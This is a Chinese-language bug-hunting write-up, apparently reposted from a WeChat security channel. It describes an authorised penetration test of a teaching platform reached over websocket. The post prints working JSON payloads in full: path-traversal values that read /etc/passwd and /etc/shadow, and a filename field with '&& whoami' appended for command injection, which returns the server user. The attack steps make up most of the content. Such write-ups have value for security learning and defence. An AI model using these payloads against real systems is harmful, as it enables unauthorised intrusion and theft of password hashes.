0x01 前言
记一次授权的某教学实训系统的渗透过程,从任意文件下载到任意命令执行,websocket也可以RCE。
末尾可领取挖洞资料文件
0x02 漏洞发现
在实训平台上,有个漏洞检测工具实验的功能。这个功能会输出对应的结果,感觉这里可能存在任意命令执行,看一下参数是怎么发送的。
通过F12发现,是通过websocket发送的,数据包如下:
{
"data": {
"tool_name": "flawfinder",
"object_type": "400",
"list3": "CWE124_Buffer_Underwrite__char_alloca_memcpy_73b.cpp",
"list1": "0",
"list2": "CWE124_Buffer_Underwrite",
"user_id": "210"
}
}
这里的list3应该就是文件名字,既然网站是有源码下载功能的,这里可能会存在任意文件下载漏洞,尝试发送数据包:
{
"data": {
"tool_name": "flawfinder",
"object_type": "400",
"list3": "../../../../../../../../../../../../../../../../../../../../../../etc/passwd",
"list1": "0",
"list2": "dem2o",
"user_id": "210"
}
}
接着点击下载源码,发现网站报错:
虽然报错了,但发现这里的list2也是可控的,再次尝试发送数据包:
{
"data": {
"tool_name": "flawfinder",
"object_type": "400",
"list3": "../../../../../../../../../../../../../../../../../../../../../../etc/shadow",
"list1": "0",
"list2": "../../../../../../../../",
"user_id": "210"
}
}
这次就成功的下载到了文件:
那么既然开发者没有安全意识,会不会执行的命令也是简单的拼接呢?发送数据包进行尝试:
{
"data": {
"tool_name": "flawfinder",
"object_type": "400",
"list3": "CWE124_Buffer_Underwrite__char_alloca_memcpy_73b.cpp && whoami",
"list1": "0",
"list2": "CWE124_Buffer_Underwrite",
"user_id": "210"
}
}
这里直接返回了ubuntu:
0x03 最后
第一眼看到漏洞检测工具,就感觉这里可以任意执行命令,不过刚开始挖到的是任意文件读取,后面才挖到了任意命令执行漏洞。还是蛮有趣的一次过程,学习到了websocket数据包的发送。喜欢的师傅可以点赞转发支持一下谢谢!
原文始发于微信公众号(渗透安全HackTwo):从任意文件下载到任意命令执行|挖洞技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论